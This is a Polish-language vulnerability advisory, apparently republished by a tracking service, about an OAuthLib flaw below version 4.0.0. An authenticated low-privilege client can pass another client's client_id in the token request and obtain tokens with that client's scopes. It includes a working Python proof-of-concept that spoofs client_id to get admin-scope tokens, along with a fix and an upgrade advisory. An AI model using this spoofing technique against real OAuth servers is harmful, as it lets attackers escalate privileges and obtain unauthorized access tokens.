OAuthLib: Nadania tokenów mogą używać client_id podanego przez atakującego do autoryzacji po uwierzytelnieniu innego klienta
Podsumowanie
Mechanizmy obsługi nadań tokenów w OAuthlib mogą uwierzytelnić jednego klienta, jednocześnie autoryzując typ nadania i żądane zakresy przy użyciu innego, podanego przez atakującego identyfikatora client_id z treści żądania.
W podatnych przepływach nadań tokenów authenticate_client(request) ustawia request.client na obiekt uwierzytelnionego klienta, jednak OAuthlib nie wymaga, aby request.client_id odpowiadało request.client.client_id. Jeśli treść żądania zawiera już client_id=..., OAuthlib zachowuje tę wartość i przekazuje ją do validate_grant_type() oraz validate_scopes().
W rezultacie uwierzytelniony klient poufny o niskich uprawnieniach może uwierzytelnić się jako on sam, przesłać client_id innego klienta w treści żądania tokena i doprowadzić do wykonania walidacji nadania oraz zakresów pod tożsamością tego innego klienta.
Powierzchnia podatności
Podatna publiczna powierzchnia dotyczy obsługi punktu końcowego tokenów OAuth2 dla:
client_credentialspassword/ Resource Owner Password Credentials
Problem dotyczy wdrożeń dostawców OAuthlib, w których:
- atakujący posiada poświadczenia dla prawidłowego klienta poufnego o niższych uprawnieniach;
- inny klient posiada szersze uprawnienia nadań lub zakresów;
- walidator aplikacji korzysta z argumentu
client_idprzekazywanego przez OAuthlib wvalidate_grant_type()lubvalidate_scopes(), zgodnie z projektem APIRequestValidator.
Wdrożenia, których walidatory ignorują argument client_id i autoryzują wyłącznie na podstawie request.client, mogą nie być podatne.
Szczegóły
Request przetwarza parametry zapytania i treści na atrybuty żądania, w tym client_id:
Kontrakt RequestValidator.authenticate_client() wymaga od integratora uwierzytelnienia klienta i ustawienia request.client:
Dla nadania client_credentials OAuthlib uwierzytelnia klienta, sprawdza, czy request.client posiada client_id, a następnie wykonuje walidację nadania i zakresu przed znormalizowaniem request.client_id z request.client.client_id:
Problematyczna kolejność to:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Ponieważ OAuthlib uzupełnia request.client_id tylko wtedy, gdy go brakuje, wartość dostarczona przez atakującego w treści, taka jak client_id=high, jest zachowywana nawet wtedy, gdy request.client.client_id == "low".
Współdzielona funkcja pomocnicza nadania przeprowadza następnie autoryzację przy użyciu request.client_id, przekazując obiekt uwierzytelnionego klienta oddzielnie:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
To samo rozdzielenie tożsamości występuje w przepływie Resource Owner Password Credentials. Po uwierzytelnieniu klienta i walidacji użytkownika OAuthlib waliduje nadanie i zakresy przed zastąpieniem brakującego request.client_id wartością z request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
Tworzy to niespójny stan tożsamości:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib wywołuje następnie metody autoryzacji aplikacji z obydwoma wartościami, ale wykorzystuje kontrolowane przez atakującego request.client_id jako główny argument client_id.
Wpływ
Uwierzytelniony poufny klient o niższych uprawnieniach może uzyskać tokeny autoryzowane zgodnie z zasadami nadania i zakresów innego klienta, jeśli walidator aplikacji działa zgodnie z API RequestValidator i autoryzuje na podstawie argumentu client_id.
Konkretny wpływ może obejmować:
- wydawanie tokenów dostępu z zakresami nieprzypisanymi do uwierzytelnionego klienta;
- umożliwienie klientowi o niskich uprawnieniach użycia typu nadania zarezerwowanego dla klienta o wyższych uprawnieniach;
- zapisanie tokenów pod sfałszowanym
client_id, podczas gdy obiekt uwierzytelnionego klienta jest inny.
Jest to obejście autoryzacji tokena, a nie atak bez uwierzytelnienia. Atakujący wymaga ważnych danych uwierzytelniających dla jednego klienta.
PoC
Utwórz następujące pliki w pustym katalogu.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Uruchom:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Oczekiwany wynik:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
Warunkiem powodzenia jest wygenerowanie obu poprawnych odpowiedzi z tokenami, podczas gdy zapisany stan tokena wskazuje:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
Dowodzi to, że uwierzytelnionym klientem jest low, podczas gdy autoryzacja nadania i zakresu użyła przekazanego przez atakującego client_id=high.
Sugerowane rozwiązanie
Po pomyślnym uwierzytelnieniu klienta OAuthlib powinien odrzucić żądanie tokena, jeśli jawny parametr client_id jest obecny w żądaniu i nie odpowiada request.client.client_id.
W przypadku uwierzytelnionych przepływów klientów poufnych bezpieczniejszym niezmiennikiem jest:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
Powinno to nastąpić przed wywołaniem validate_grant_type() oraz validate_scopes().
Zgłaszający:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
Co trzeba zrobić
Zaktualizuj bibliotekę OAuthLib do wersji 4.0.0 lub nowszej. W przypadku własnych implementacji odrzucaj żądania tokenów, jeśli jawnie przekazany identyfikator klienta różni się od identyfikatora uwierzytelnionego klienta przed wywołaniem weryfikacji uprawnień i zakresów.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | oauthlib | < 4.0.0 | 4.0.0 |
Odnośniki
- https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c
- https://nvd.nist.gov/vuln/detail/CVE-2026-118669
- https://github.com/oauthlib/oauthlib/pull/920
- https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d
- https://github.com/oauthlib/oauthlib
- https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N- Słabość (CWE)
CWE-863- Platforma
- Python (PyPI)
- Paczka
oauthlib- Ujawniono
- 30.10.2026
- Aktualizacja
- 09.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-7984-qgvg-3j9c - CC BY 4.0
Historia podatności: oauthlib
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 5
- Pierwsza → ostatnia
- 09.2022 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
- Średnia 3
Ujawnienia w latach
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 4
-
OAuthLib: Nadania tokenów mogą używać client_id podanego przez atakującego do autoryzacji po uwierzytelnieniu innego klienta ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.